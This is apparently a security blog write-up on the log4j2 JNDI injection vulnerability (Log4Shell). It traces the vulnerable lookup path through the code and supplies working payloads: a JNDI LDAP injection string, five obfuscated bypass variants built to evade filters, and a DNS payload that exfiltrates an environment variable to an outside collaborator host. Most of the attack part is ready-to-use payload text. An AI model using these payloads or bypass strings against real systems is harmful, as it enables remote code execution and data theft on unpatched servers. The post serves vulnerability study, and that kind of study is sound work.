log4j2 Attack

log4j2

Introduction

Apache log4j2 is a tool for Java logging.

Let’s see a demo.

1
2
3
4
5
6
7
8
9
public class main {
public static void main( String[] args )
{
Logger logger = LogManager.getLogger();
String name = "P3ngu1nW";
logger.error("I am {}", name);
}
}
//output: [ERROR] 2023-08-29 13:26:06,611 main - I am P3ngu1nW

Exploit

Impact Version

2.x <= log4j <= 2.15.0-rc1

Code Analysing

Let’s change the name in the demo.

1
2
3
4
5
6
7
8
9
public class main {
public static void main( String[] args )
{
Logger logger = LogManager.getLogger();
String name = "${java:version}";
logger.error("I am {}", name);
}
}
//output:[ERROR] 2023-08-29 13:28:02,035 main - I am Java version 1.8.0_65

You can find that we output some System Information in the log.

This is a feature provided by log4j2.

However, log4j2 also support jndi lookup in the lower version, which can be exploited.

1
2
3
4
5
6
7
8
public class main {
public static void main( String[] args )
{
Logger logger = LogManager.getLogger();
String name = "${jndi:ldap://127.0.0.1:8099/calc}";
logger.error("I am {}", name);
}
}

Let’s make a breakpoint in PatternLayout#toSerializable

The method format receives two variables: one is event, which is what our log4j2 needs to print the log; the other is buffer, we will write the printed things into the buffer.

When i=7 in our example, we enter into another format method, which contains our evil payload.

Then we traverse the whole log and find the ${ substring.

Then we enter into the replace method and substitute method.

And we will extract the expression between ${ and }

Then the varName will be passwd into the resolveVariable

We can find the supported lookup in strLookupMap, and then, it will call the resolver.lookup

And next is the JNDI Injection.

ByPass

We can use the default value and other resolver to bypass.

1
2
3
4
5
6
7
8
9
${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};

${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";

${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";

${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";

${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";

Other Tricks

we can use the similiar way to fetch some sensitive data(use dns protocal to bypass the JDK limitation)

1
2
3
4
5
6
7
8
public class main {
public static void main( String[] args )
{
Logger logger = LogManager.getLogger();
String name = "${jndi:dns://${env:LOGNAME}.1z1mq4ar80z2zsmga7ucdtk08reh26.burpcollaborator.net}";
logger.error("I am {}", name);
}
}

This blog introduce more tricks on log4j.

Reference

https://drun1baby.top/2022/08/09/Log4j2复现/